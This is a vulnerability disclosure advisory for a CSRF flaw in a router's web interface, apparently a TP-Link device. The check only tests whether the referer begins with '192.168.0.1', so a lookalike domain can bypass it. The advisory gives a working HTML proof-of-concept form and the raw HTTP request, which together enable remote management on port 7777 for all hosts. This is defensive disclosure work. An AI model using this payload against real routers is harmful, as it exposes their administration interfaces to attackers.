Overview

The web interface of the router is vulnerable to CSRF. An attacker can perform arbitrary actions in the name of an authenticated user if that user visits an attacker-controlled website.

CVSS

High 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Details

The protection mechanism that is in place against CSRF checks if the given “referer” header starts with “192.168.0.1”. If it does, the request is accepted.

An attacker can bypass this mechanism by prepending their domain with this string. For example, the malicious HTML and JavaScript code could be hosted at “192.168.0.1.example.com”. Alternatively, an attack could originate from a different IP in the internal network, eg “192.168.0.11”.

Proof of Concept

Enable remote access:

<html>
  <body>
    <form action="http://192.168.0.1/cgi?2&2" method="POST" enctype="text/plain">
      <input type="hidden" name="&#91;HTTP&#95;CFG&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#93;0&#44;2&#13;&#10;httpRemoteEnabled" value="1&#13;&#10;httpRemotePort&#61;7777&#13;&#10;&#91;APP&#95;CFG&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#93;1&#44;1&#13;&#10;remoteHost&#61;255&#46;255&#46;255&#46;255&#13;&#10;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The code would be hosted at a subdomain which starts with “192.168.0.1”, eg “192.168.0.1.example.com”.

Request

POST /cgi?2&2 HTTP/1.1
Host: 192.168.0.1
User-Agent: [...]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1.example.com/csrf.html
Content-Type: text/plain
Content-Length: 147
Cookie: Authorization=Basic [...]
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

[HTTP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2
httpRemoteEnabled=1
httpRemotePort=7777
[APP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,1
remoteHost=255.255.255.255

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Connection: close
Content-Length: 8

[error]0

Solution

The vendor did not fix the issue.

Users of the product can try to mitigate the issue by not visiting other websites while being signed into the web interface and signing out as soon as possible. Additionally, various browser plugins can be used to try to defend against attacks.

Timeline

05/20/2018 Requested email address via contact form (no response)
05/24/2018 Send advisory to security@tp-link.com asking for confirmation, set disclosure date (no response)
06/01/2018 Asked for confirmation at support.usa@tp-link.com
06/04/2018 Vendor confirmed receipt of advisory
06/12/2018 Requested Status Update
06/14/2018 Vendor claims they never received advisory
06/14/2018 Resend advisory asking for confirmation (no response)
06/18/2018 Reminded vendor of disclosure date (no response)
06/18/2018 Requested CVE
06/19/2018 CVE assigned
06/27/2018 Disclosure